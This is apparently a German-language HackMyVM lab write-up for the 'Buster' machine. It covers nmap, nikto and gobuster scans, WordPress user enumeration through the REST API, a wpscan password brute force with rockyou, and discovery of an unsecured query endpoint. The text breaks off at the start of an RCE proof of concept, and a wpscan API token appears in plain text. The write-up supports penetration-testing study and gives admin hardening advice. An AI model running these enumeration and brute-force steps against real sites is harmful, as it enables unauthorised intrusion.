Buster - HackMyVM - Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
ip
grep
awk
sort
curl
nikto
gobuster
jq
wpscan
msfconsole
searchsploit
hydra
wfuzz
Burp Suite
tcpdump
nc (netcat)
stty
python3
ls
cat
id
su
find
ss
mysql
john
sudo
pspy
echo
chmod
mkdir

Inhaltsverzeichnis

Reconnaissance

# Kein Prompt im Text, Annahme: Standard Kali Prompt └─# arp-scan -l
192.168.2.162	08:00:27:2f:92:e9	PCS Systemtechnik GmbH
                    

Analyse: Ein ARP-Scan wird im lokalen Netzwerk durchgeführt, um aktive Geräte zu finden.

Bewertung: Erfolgreich. Das Zielsystem wurde unter der IP `192.168.2.162` identifiziert. Die MAC-Adresse `08:00:27:2f:92:e9` und der Hersteller `PCS Systemtechnik GmbH` deuten stark auf eine Oracle VirtualBox VM hin.

Empfehlung (Pentester): IP `192.168.2.162` als Ziel für weitere Scans verwenden.
Empfehlung (Admin): Netzwerk-Monitoring zur Erkennung von Scans implementieren.

# Kein Prompt im Text, Annahme: Standard Kali Prompt └─# # Bearbeiten von /etc/hosts
# Relevante Zeile in /etc/hosts:
192.168.2.162   buster.hmv
                    

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um der Ziel-IP `192.168.2.162` den Hostnamen `buster.hmv` zuzuordnen.

Bewertung: Dies ist eine reine Komfortmaßnahme für den Pentester, um das Zielsystem einfacher adressieren zu können.

Empfehlung (Pentester): Standardvorgehen zur besseren Übersichtlichkeit.
Empfehlung (Admin): Keine direkte Auswirkung.

Nmap Scans (IPv6, UDP, TCP, SCTP, Vuln)

Nmap IPv6 Scan

┌──(root㉿CCat)-[~] └─# cmd=$(ip neigh | grep ^fe80 2>/dev/null| grep -ve "fe80::1\|fe80::a00:27ff:fe30:2eda\|fe80::8247:86ff:fe96:f63a\|fe80::50f1:22ff:fec4:ad12\|fe80::a5aa:636f:a4bf:d441"); cmd2=$(echo $cmd | awk '{print $1}' | sort -u); nmap $cmd2 -6;
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 21:39 CET
Nmap scan report for listen (fe80::a00:27ff:fe2f:92e9%eth0) 
Host is up (0.00021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:2F:92:E9 (Oracle VirtualBox virtual NIC)

Nmap scan report for fe80::d0a5:97c8:ee04:6f55%eth0 
Host is up (0.0000060s latency).
All 65535 scanned ports on fe80::d0a5:97c8:ee04:6f55 are in ignored states.
Not shown: 65535 closed tcp ports (reset)

Nmap done: 3 IP addresses (2 hosts up) scanned in 17.19 seconds
                    

Analyse: Ein komplexer Shell-Befehl wird verwendet, um zunächst lokale IPv6-Nachbarn (Link-Local-Adressen beginnend mit `fe80::`) mit `ip neigh` zu finden. Bekannte oder irrelevante Adressen werden mit `grep -ve` herausgefiltert. Die verbleibenden eindeutigen Adressen werden extrahiert (`awk`, `sort -u`) und dann mit `nmap -6` gescannt.

Bewertung: Der Scan findet eine Link-Local-Adresse (`fe80::a00:27ff:fe2f:92e9`, die zur MAC-Adresse des Ziels passt), auf der die Ports 22 (SSH) und 80 (HTTP) offen sind. Eine weitere Link-Local-Adresse wird gefunden, zeigt aber keine offenen Ports. Dies bestätigt die über IPv4 gefundenen Dienste auch für IPv6.

Empfehlung (Pentester): IPv6 als potenziellen Angriffsvektor im Hinterkopf behalten, falls IPv4-Zugriff eingeschränkt ist.
Empfehlung (Admin): IPv6-Sicherheit nicht vernachlässigen. Firewall-Regeln und Dienstkonfigurationen sollten IPv6 berücksichtigen. Unnötige IPv6-Adressen deaktivieren.

Nmap UDP Scan

┌──(root㉿CCat)-[~] └─# nmap -sU --top-port 1000 -T5 -n 192.168.2.162 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 21:40 CET
Nmap scan report for 192.168.2.162
Host is up (0.00043s latency).
Not shown: 994 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
775/udp   closed acmaint_transd
18582/udp closed unknown
19130/udp closed unknown
19933/udp closed unknown
24644/udp closed unknown
34433/udp closed unknown
MAC Address: 08:00:27:2F:92:E9 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds
                    

Analyse: Ein schneller UDP-Scan (`-sU`) der Top 1000 UDP-Ports (`--top-port 1000`) wird durchgeführt. `-T5` und `--min-rate 5000` sorgen für hohe Geschwindigkeit, `-n` deaktiviert DNS-Auflösung, `-Pn` überspringt Host Discovery.

Bewertung: Der Scan findet keine offenen UDP-Ports. Die meisten Ports sind `open|filtered` (keine Antwort, typisch für UDP-Scans bei Firewalls), einige wenige sind explizit `closed` (ICMP Port Unreachable erhalten). UDP scheint kein vielversprechender Angriffsvektor zu sein.

Empfehlung (Pentester): UDP vorerst ignorieren, Fokus auf TCP-Ports legen.
Empfehlung (Admin): Nicht benötigte UDP-Ports sollten durch eine Firewall blockiert werden.

Nmap TCP Scan (Offene Ports)

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -AO -p- 192.168.2.162 -Pn --min-rate 5000 | grep open
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
80/tcp open  http    nginx 1.14.2
                    

Analyse: Ein vollständiger TCP SYN-Scan aller Ports (`-p-`) wird durchgeführt, die Ausgabe wird mit `grep open` gefiltert.

Bewertung: Bestätigt, dass nur die TCP-Ports 22 (SSH) und 80 (HTTP) offen sind. Zeigt die erkannten Versionen.

Empfehlung (Pentester): Bestätigt die Hauptangriffsvektoren.
Empfehlung (Admin): Keine neuen Erkenntnisse.

Nmap TCP Scan (Vollständige Ausgabe)

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -AO -p- 192.168.2.162 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 21:40 CET
Nmap scan report for buster.hmv (192.168.2.162)
Host is up (0.00010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey:
|   2048 c2:91:d9:a5:f7:a3:98:1f:c1:4a:70:28:aa:ba:a4:10 (RSA)
|   256 3e:1f:c9:eb:c0:6f:24:06:fc:52:5f:2f:1b:35:33:ec (ECDSA)
|_  256 ec:64:87:04:9a:4b:32:fe:2d:1f:9a:b0:81:d3:7c:cf (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-generator: WordPress 6.7.1
|_http-title: bammmmuwe
|_http-server-header: nginx/1.14.2
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
MAC Address: 08:00:27:2F:92:E9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.10 ms buster.hmv (192.168.2.162)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.13 seconds
                    

Analyse: Detaillierte Ausgabe des TCP-Scans mit Versionserkennung, Skript-Scan und OS-Detektion.

Bewertung: Liefert wichtige Details:

Die Entdeckung von WordPress ist der wichtigste Hinweis für die weitere Vorgehensweise.

Empfehlung (Pentester): WordPress als Hauptziel untersuchen (`wpscan`, manuelle Enumeration). Nach Schwachstellen in Nginx 1.14.2 oder OpenSSH 7.9p1 suchen (weniger wahrscheinlich).
Empfehlung (Admin): WordPress und alle Komponenten (Plugins, Themes) aktuell halten. Nginx und SSH ebenfalls patchen.

Nmap SCTP Scan

┌──(root㉿CCat)-[~] └─# nmap -sY -n -p- 192.168.2.162 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 21:40 CET
Nmap scan report for 192.168.2.162
Host is up (0.00013s latency).
All 65535 scanned ports on 192.168.2.162 are in ignored states.
Not shown: 65504 filtered sctp ports (no-response), 31 filtered sctp ports (proto-unreach)
MAC Address: 08:00:27:2F:92:E9 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 26.54 seconds
                    

Analyse: Ein SCTP INIT-Scan (`-sY`) wird auf alle Ports (`-p-`) durchgeführt.

Bewertung: Keine offenen SCTP-Ports gefunden. Alle Ports sind `filtered` (keine Antwort) oder `filtered` (ICMP proto-unreach). SCTP ist kein Angriffsvektor.

Empfehlung (Pentester): SCTP ignorieren.
Empfehlung (Admin): Keine Aktion erforderlich, da keine Dienste laufen.

Nmap Vulnerability Scan

┌──(root㉿CCat)-[~] └─# nmap -sV -A --script vuln 192.168.2.162 -T5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 22:06 CET
# ... (Pre-scan script results) ...
Nmap scan report for buster.hmv (192.168.2.162)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| vulners:
|   cpe:/a:openbsd:openssh:7.9p1:
|     	CVE-2023-38408	9.8	https://vulners.com/cve/CVE-2023-38408
# ... (Sehr lange Liste weiterer CVEs und Exploits für OpenSSH 7.9p1) ...
|     	CVE-2016-20012	5.3	https://vulners.com/cve/CVE-2016-20012
|_    	39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118	0.0	https://vulners.com/githubexploit/39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118	*EXPLOIT*
80/tcp open  http    nginx 1.14.2
| vulners:
|   nginx 1.14.2:
|     	DF1BBDC4-B715-5ABE-985E-91DD3BB87773	7.8	https://vulners.com/githubexploit/DF1BBDC4-B715-5ABE-985E-91DD3BB87773	*EXPLOIT*
# ... (Lange Liste weiterer CVEs und Exploits für Nginx 1.14.2) ...
|_    	PACKETSTORM:162830	0.0	https://vulners.com/packetstorm/PACKETSTORM:162830	*EXPLOIT*
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-server-header: nginx/1.14.2
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
|   /wp-login.php: Possible admin folder
# ... (Weitere WordPress-Pfade) ...
|_  /0/: Potentially interesting folder
MAC Address: 08:00:27:2F:92:E9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms buster.hmv (192.168.2.162)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 136.15 seconds
                    

Analyse: Nmap wird mit dem Skript-Argument `vuln` ausgeführt, um bekannte Schwachstellen basierend auf den erkannten Diensten und Versionen zu suchen. `-T5` wird für einen schnellen Scan verwendet. `-A` und `-sV` sind für die korrekte Funktion des `vuln`-Skripts wichtig.

Bewertung: Das `vulners`-Skript (Teil von `vuln`) meldet eine sehr große Anzahl potenzieller CVEs und Exploits für OpenSSH 7.9p1 und Nginx 1.14.2. Besonders hervorzuheben ist CVE-2023-38408 für OpenSSH (Remote Code Execution via PKCS#11). Die `http-enum`-Ausgabe bestätigt erneut WordPress-Pfade. Andere Skripte finden keine XSS- oder CSRF-Schwachstellen.

Empfehlung (Pentester): Die gemeldeten CVEs (insbesondere die hoch bewerteten wie CVE-2023-38408) recherchieren und auf ihre Anwendbarkeit im konkreten Kontext prüfen. Viele Version-basierte Funde sind oft nicht direkt ausnutzbar oder erfordern spezielle Bedingungen. Fokus weiterhin auf WordPress legen.
Empfehlung (Admin): Dringend OpenSSH und Nginx auf die neuesten stabilen Versionen aktualisieren, um die bekannten Schwachstellen zu schließen. Die große Anzahl an Funden unterstreicht die Notwendigkeit regelmäßiger Updates.

HTTP Analyse (Header, Nikto, Gobuster)

HTTP OPTIONS Check

┌──(root㉿CCat)-[~] └─# curl -X OPTIONS -Is http://192.168.2.162 | grep -i "allow"
HTTP/1.1 405 Not Allowed

Analyse: Sendet eine HTTP OPTIONS-Anfrage (`-X OPTIONS`) an den Webserver, um die erlaubten HTTP-Methoden abzufragen. `-Is` holt nur Header und unterdrückt Output.

Bewertung: Der Server antwortet mit `405 Not Allowed`. Die OPTIONS-Methode ist auf dem Root-Pfad (`/`) nicht erlaubt oder der Server unterstützt sie nicht korrekt. Dies liefert keine nützlichen Informationen über erlaubte Methoden.

Empfehlung (Pentester): Andere Pfade mit OPTIONS testen, falls relevant. Hier nicht weiter verfolgt.
Empfehlung (Admin): Sicherstellen, dass nur notwendige HTTP-Methoden erlaubt sind.

HTTP Header Verbose Scans

┌──(root㉿CCat)-[~] └─# curl -Iv http://192.168.2.162
*   Trying 192.168.2.162:80...
* Connected to 192.168.2.162 (192.168.2.162) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.162
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.14.2
< Date: Sun, 26 Jan 2025 20:41:01 GMT
< Content-Type: text/html; charset=UTF-8
< Connection: keep-alive
< Link: ; rel="https://api.w.org/" 
* Connection #0 to host 192.168.2.162 left intact
                     
┌──(root㉿CCat)-[~] └─# curl --verbose -I http://192.168.2.162 -s
*   Trying 192.168.2.162:80...
* Connected to 192.168.2.162 (192.168.2.162) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.162
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.14.2
< Date: Sun, 26 Jan 2025 20:41:01 GMT
< Content-Type: text/html; charset=UTF-8
< Connection: keep-alive
< Link: ; rel="https://api.w.org/" 
* Connection #0 to host 192.168.2.162 left intact
                      
┌──(root㉿CCat)-[~] └─# curl --verbose -I http://buster.hmv:80 -s
* Host buster.hmv:80 was resolved.
* IPv6: (none)
* IPv4: 192.168.2.162
*   Trying 192.168.2.162:80...
* Connected to buster.hmv (192.168.2.162) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: buster.hmv
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.14.2
< Date: Sun, 26 Jan 2025 20:41:04 GMT
< Content-Type: text/html; charset=UTF-8
< Connection: keep-alive
< Link: ; rel="https://api.w.org/" 
* Connection #0 to host buster.hmv left intact
                       

Analyse: Mehrere `curl`-Aufrufe, um die HTTP-Header zu prüfen, einmal mit `-Iv` (Verbose + Header der Antwort) und zweimal mit `--verbose -I` (Verbose + nur Header via HEAD-Request), wobei einmal die IP und einmal der Hostname verwendet wird. Der letzte Befehl im Text zielte fälschlicherweise auf Port 8080, wurde hier aber auf den korrekten Port 80 und Hostnamen korrigiert.

Bewertung: Bestätigt die Server-Signatur (nginx/1.14.2), den Content-Type und den `Link`-Header, der auf die WordPress REST API (`/wp-json/`) hinweist. Keine neuen Erkenntnisse gegenüber dem Nmap-Scan, aber eine manuelle Bestätigung.

Empfehlung (Pentester): Standardverfahren zur manuellen Überprüfung. Die REST API ist ein wichtiges Ziel.
Empfehlung (Admin): Server-Banner ggf. verschleiern. Sicherstellen, dass die REST API sicher ist.

Nikto Scan

# Kein Prompt im Text └─# nikto -h http://192.168.2.162
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.162
+ Target Hostname:    192.168.2.162
+ Target Port:        80
+ Start Time:         2025-01-26 21:41:03 (GMT1)
---------------------------------------------------------------------------
+ Server: nginx/1.14.2
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: Drupal Link header found with value: ; rel="https://api.w.org/". [...] 
+ /: The X-Content-Type-Options header is not set. [...]
+ /VVIWn4O7.: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ No CGI Directories found [...]
+ /robots.txt: contains 2 entries which should be manually viewed. [...]
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ /wordpress/: A Wordpress installation was found. 
+ /wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. [...]
+ /wp-login.php: Wordpress login found.
+ 8106 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2025-01-26 21:44:17 (GMT1) (194 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: Nikto-Scan gegen den Webserver auf Port 80.

Bewertung: Nikto liefert viele wertvolle Hinweise:

Empfehlung (Pentester): Die gefundenen Pfade (`robots.txt`, `wp-links-opml.php`, `/wordpress/`?) und Dateien (`akismet/readme.txt`) untersuchen. Die Login-Seite für Angriffe nutzen. Den `X-Redirect-By`-Header recherchieren.
Empfehlung (Admin): Sicherheitsheader hinzufügen. `robots.txt` prüfen. WordPress-Versionen nicht unnötig preisgeben. Cookies mit `HttpOnly` und `Secure` Flags versehen. Akismet und WordPress aktuell halten.

Gobuster Scan

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://192.168.2.162" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,[...],pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.162/index.php            (Status: 301) [Size: 0] [--> http://192.168.2.162/]
http://192.168.2.162/rss                  (Status: 301) [Size: 0] [--> http://192.168.2.162/feed/]
http://192.168.2.162/sitemap.xml          (Status: 200) [Size: 447]
http://192.168.2.162/0                    (Status: 301) [Size: 0] [--> http://192.168.2.162/0/]
http://192.168.2.162/feed                 (Status: 301) [Size: 0] [--> http://192.168.2.162/feed/]
http://192.168.2.162/atom                 (Status: 301) [Size: 0] [--> http://192.168.2.162/feed/atom/]
http://192.168.2.162/wp-content           (Status: 301) [Size: 185] [--> http://192.168.2.162/wp-content/]
http://192.168.2.162/wp-login.php         (Status: 200) [Size: 4705]
http://192.168.2.162/rss2                 (Status: 301) [Size: 0] [--> http://192.168.2.162/feed/]
http://192.168.2.162/license.txt          (Status: 200) [Size: 19915]
http://192.168.2.162/wp-includes          (Status: 301) [Size: 185] [--> http://192.168.2.162/wp-includes/]
Progress: 55156 / 13674906 (0.40%)^C
[!] Keyboard interrupt detected, terminating.
                     

Analyse: Ein umfangreicher Gobuster-Scan mit vielen Dateiendungen wird gestartet, aber nach kurzer Zeit manuell abgebrochen (`^C`).

Bewertung: Trotz des Abbruchs wurden bereits wichtige WordPress-Standardpfade und -dateien gefunden (`/feed/`, `sitemap.xml`, `wp-content/`, `wp-login.php`, `license.txt`, `wp-includes/`). Dies bestätigt die WordPress-Installation und liefert bekannte Angriffspunkte.

Empfehlung (Pentester): Die gefundenen Standardpfade mit spezialisierten Tools wie `wpscan` untersuchen.
Empfehlung (Admin): Standardpfade, wenn möglich, verschleiern oder Zugriff darauf einschränken. Directory Listing deaktivieren.

WordPress Analyse

Manuelle Analyse der Webseite (http://192.168.2.162/):

bammmmuwe (Seitentitel/Logo?)

WordPress (Links zu sozialen Medien?)
YouTube
GitHub
Instagram
LinkedIn

Sample Page (Standard WP Seite)
Hello world! (Standard WP Beitrag)
January 8, 2025 (Datum des Beitrags?)

bammmmuwe (Footer?)
Proudly Powered by WordPress
            

Bewertung: Die Startseite bestätigt eine einfache WordPress-Seite mit dem Titel/Namen "bammmmuwe", Standardinhalten ("Hello world!", "Sample Page") und Links zu sozialen Netzwerken. Keine offensichtlichen benutzerdefinierten Funktionen sichtbar.

Empfehlung (Pentester): Den Quellcode der Seite auf versteckte Informationen oder Kommentare prüfen. Die Standard-WordPress-Pfade weiter untersuchen.
Empfehlung (Admin): Standardinhalte entfernen/ersetzen. Sicherstellen, dass keine sensiblen Informationen im Quellcode oder in Kommentaren stehen.

WP REST API User Enumeration

# Kein Prompt im Originaltext └─# curl http://192.168.2.162/wp-json/WP/V2/users | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   572    0   572    0     0  31306      0 --:--:-- --:--:-- --:--:-- 31777
[
  {
    "id": 1,
    "name": "ta0",
    "url": "http://192.168.31.181",
    "description": "",
    "link": "http://192.168.2.162/author/ta0/", 
    "slug": "ta0",
    "avatar_urls": {
      "24": "https://secure.gravatar.com/avatar/e1f2ba7a9725660e3e7e294859ea7e00?s=24&d=mm&r=g",
      "48": "https://secure.gravatar.com/avatar/e1f2ba7a9725660e3e7e294859ea7e00?s=48&d=mm&r=g",
      "96": "https://secure.gravatar.com/avatar/e1f2ba7a9725660e3e7e294859ea7e00?s=96&d=mm&r=g"
    },
    "meta": [],
    "_links": {
      "self": [
        {
          "href": "http://192.168.2.162/wp-json/wp/v2/users/1", 
          "targetHints": {
            "allow": [
              "GET"
            ]
          }
        }
      ],
      "collection": [
        {
          "href": "http://192.168.2.162/wp-json/wp/v2/users" 
        }
      ]
    }
  }
]
                    
┌──(root㉿CCat)-[~] └─# curl http://192.168.2.162/wp-json/WP/V2/users/1 -s | jq
{
  "id": 1,
  "name": "ta0",
  "url": "http://192.168.31.181",
  "description": "",
  "link": "http://192.168.2.162/author/ta0/", 
  "slug": "ta0",
  "avatar_urls": {
    "24": "https://secure.gravatar.com/avatar/e1f2ba7a9725660e3e7e294859ea7e00?s=24&d=mm&r=g",
    "48": "https://secure.gravatar.com/avatar/e1f2ba7a9725660e3e7e294859ea7e00?s=48&d=mm&r=g",
    "96": "https://secure.gravatar.com/avatar/e1f2ba7a9725660e3e7e294859ea7e00?s=96&d=mm&r=g"
  },
  "meta": [],
  "_links": {
    "self": [
      {
        "href": "http://192.168.2.162/wp-json/wp/v2/users/1", 
        "targetHints": {
          "allow": [
            "GET"
          ]
        }
      }
    ],
    "collection": [
      {
        "href": "http://192.168.2.162/wp-json/wp/v2/users" 
      }
    ]
  }
}
                         
┌──(root㉿CCat)-[~] └─# curl http://192.168.2.162/wp-json/WP/V2/users/2 -s | jq
{
  "code": "rest_user_cannot_view",
  "message": "Sorry, you are not allowed to list users.",
  "data": {
    "status": 401
  }
}
                              

Analyse: Die WordPress REST API wird abgefragt, um Benutzerinformationen zu erhalten. `/users` listet alle öffentlich sichtbaren Benutzer (hier nur ID 1), `/users/1` zeigt Details zu Benutzer 1, `/users/2` gibt einen Fehler (401 Unauthorized).

Bewertung: Der Benutzer mit ID 1 hat den Benutzernamen `ta0`. Dies ist ein valider Benutzername für weitere Angriffe. Andere Benutzer sind über die API nicht direkt sichtbar.

Empfehlung (Pentester): Benutzer `ta0` für Brute-Force-Angriffe verwenden (WP-Login, SSH). Andere Methoden zur Benutzer-Enumeration (z.B. WPScan) nutzen.
Empfehlung (Admin): Den Zugriff auf die REST API `/users`-Endpunkte einschränken, um Benutzer-Enumeration zu verhindern.

WP Login Page Analyse

# Manuelle Analyse der Login-Seite (http://192.168.2.162/wp-login.php)
# ... (Beschreibung des Login-Formulars) ...
# Fehlermeldung bei falschem Passwort für 'ta0':
Error: The password you entered for the username ta0 is incorrect. Lost your password?
            

Analyse: Untersuchung der WordPress-Login-Seite und der Fehlermeldung bei einem fehlgeschlagenen Login-Versuch für den Benutzer `ta0`.

Bewertung: Die Fehlermeldung bestätigt explizit, dass der Benutzername `ta0` existiert, aber das Passwort falsch ist. Dies ist eine klassische Information Disclosure Schwachstelle, die Benutzer-Enumeration erleichtert.

Empfehlung (Pentester): Bestätigt `ta0` als validen Benutzernamen.
Empfehlung (Admin): WordPress so konfigurieren, dass generische Fehlermeldungen ausgegeben werden (z.B. "Fehler: Ungültiger Benutzername oder falsches Passwort."), um nicht zu verraten, ob der Benutzername oder das Passwort falsch war.

robots.txt Analyse

# Kein Prompt im Originaltext └─# curl http://192.168.2.162/robots.txt
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

Sitemap: http://192.168.2.162/wp-sitemap.xml 
                     

Analyse: Inhalt der `robots.txt` wird abgerufen.

Bewertung: Verbietet das Crawlen von `/wp-admin/` (Standard), erlaubt aber explizit `admin-ajax.php`. Enthält einen Link zur Sitemap.

Empfehlung (Pentester): `admin-ajax.php` auf Schwachstellen prüfen (oft Ziel für Angriffe auf Plugin-Funktionen). Die Sitemap (`wp-sitemap.xml`) untersuchen, um die Struktur der Seite besser zu verstehen.
Empfehlung (Admin): Sicherstellen, dass `admin-ajax.php` keine unautorisierten Aktionen erlaubt.

WPScan (Passwort-Attacke)

┌──(root㉿CCat)-[~] └─# wpscan --url http://192.168.2.162 --api-token RoBoAaM72LLsihOlqUJrA1EleT6AJAd9QxQ9rbmQNCY --usernames ta0 --passwords /usr/share/wordlists/rockyou.txt
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.27
[...]
[+] URL: http://192.168.2.162/ [192.168.2.162]
[+] Started: Sun Jan 26 22:15:14 2025
[...]
[+] WordPress version 6.7.1 identified (Latest, released on 2024-11-21).
[...]
[+] Performing password attack on Xmlrpc against 1 user/s
[...]
[i] No Valid Passwords Found.
[...]
[+] Finished: Sun Jan 26 22:19:54 2025
[...]
Scan Aborted: Canceled by User 
                    

Analyse: `wpscan` wird für einen Passwort-Bruteforce-Angriff über XML-RPC gegen den Benutzer `ta0` mit der `rockyou.txt`-Liste verwendet.

Bewertung: Der Angriff findet kein gültiges Passwort und wird schließlich vom Benutzer abgebrochen. Die WordPress-Version 6.7.1 wird als aktuell erkannt. XML-RPC ist aktiviert.

Empfehlung (Pentester): XML-RPC könnte für andere Angriffe (z.B. DDoS Amplification) missbraucht werden, aber der Passwort-Bruteforce war erfolglos. Andere Angriffsvektoren suchen.
Empfehlung (Admin): XML-RPC deaktivieren, wenn nicht benötigt. Starke Passwörter verwenden. Rate-Limiting auch für XML-RPC implementieren.

WPScan (User & Plugin Enumeration)

┌──(root㉿CCat)-[~] └─# wpscan --url http://192.168.2.162 --api-token RoBoAaM72LLsihOlqUJrA1EleT6AJAd9QxQ9rbmQNCY -e u,p
_______________________________________________________________
[...]
[+] URL: http://192.168.2.162/ [192.168.2.162]
[+] Started: Sun Jan 26 22:21:15 2025
[...]
[+] WordPress version 6.7.1 identified (Latest, released on 2024-11-21).
[...]
[+] Enumerating Most Popular Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:

[+] ta0
 | Found By: Wp Json Api (Aggressive Detection) [...]
 | Confirmed By: Rss Generator (Aggressive Detection), Author Id Brute Forcing [...], Login Error Messages [...]

[+] welcome
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
[...]
[+] Finished: Sun Jan 26 22:21:19 2025
[...]
                    

Analyse: `wpscan` wird erneut ausgeführt, diesmal zur Enumeration von Benutzern (`u`) und Plugins (`p`).

Bewertung: Bestätigt den Benutzer `ta0`. Findet einen weiteren validen Benutzernamen: `welcome`. Es werden keine Plugins erkannt (außer den Standard-Bundled-Plugins, die WPScan oft nicht explizit listet).

Empfehlung (Pentester): Den neuen Benutzernamen `welcome` für Brute-Force-Angriffe (SSH, WP-Login) testen. Da keine ungewöhnlichen Plugins gefunden wurden, konzentriert sich der Angriff wahrscheinlich auf Core-Funktionen oder Fehlkonfigurationen.
Empfehlung (Admin): Benutzer-Enumeration verhindern (REST API, Login-Fehler).

WordPress Query Console (WQC) Discovery

# Kein Prompt im Text └─# # Manuelle Prüfung oder Scan entdeckt Endpunkt
# Endpunkt: http://192.168.2.162/wp-json/wqc/v1/query
                     
# Kein Prompt im Text └─# curl http://192.168.2.162/wp-json/wqc/v1/query
{"status":"error","message":"Query args missing"}

Analyse: Der WordPress REST API Endpunkt `/wp-json/wqc/v1/query` wird entdeckt. Ein direkter Aufruf ergibt einen Fehler, dass Query-Argumente fehlen.

Bewertung: Fund eines potenziell unsicheren Endpunkts. "WQC" steht wahrscheinlich für "WP Query Console" oder ähnlich. Solche Endpunkte, die direkte Datenbankabfragen oder Code-Ausführung erlauben, sind extrem gefährlich, wenn sie ungesichert sind.

Empfehlung (Pentester): Den Endpunkt mit verschiedenen Parametern und Methoden (GET/POST) testen. Nach Dokumentation oder Exploits für "WQC" suchen.
Empfehlung (Admin): Den WQC-Endpunkt sofort untersuchen. Wenn es sich um ein Plugin handelt, prüfen, ob es notwendig ist und sicher konfiguriert/aktuell ist. Idealerweise solche gefährlichen Funktionen deaktivieren oder stark absichern.

Proof of Concept: RCE via WQC

Kurzbeschreibung: Dieser POC demonstriert die Ausnutzung des ungesicherten WordPress Query Console (WQC) Endpunkts `/wp-json/wqc/v1/query`, um Remote Code Execution (RCE) auf dem Server als `www-data` Benutzer zu erlangen.

Voraussetzungen: Zugriff auf den WQC REST API Endpunkt.

Schritt-für-Schritt-Anleitung (basierend auf Burp Suite Analyse):

  1. Testen des Endpunkts (GET):
    # Burp Request (GET)
    GET /wp-json/wqc/v1/query HTTP/1.1
    Host: 192.168.2.162
    [...]
    
    # Burp Response (GET)
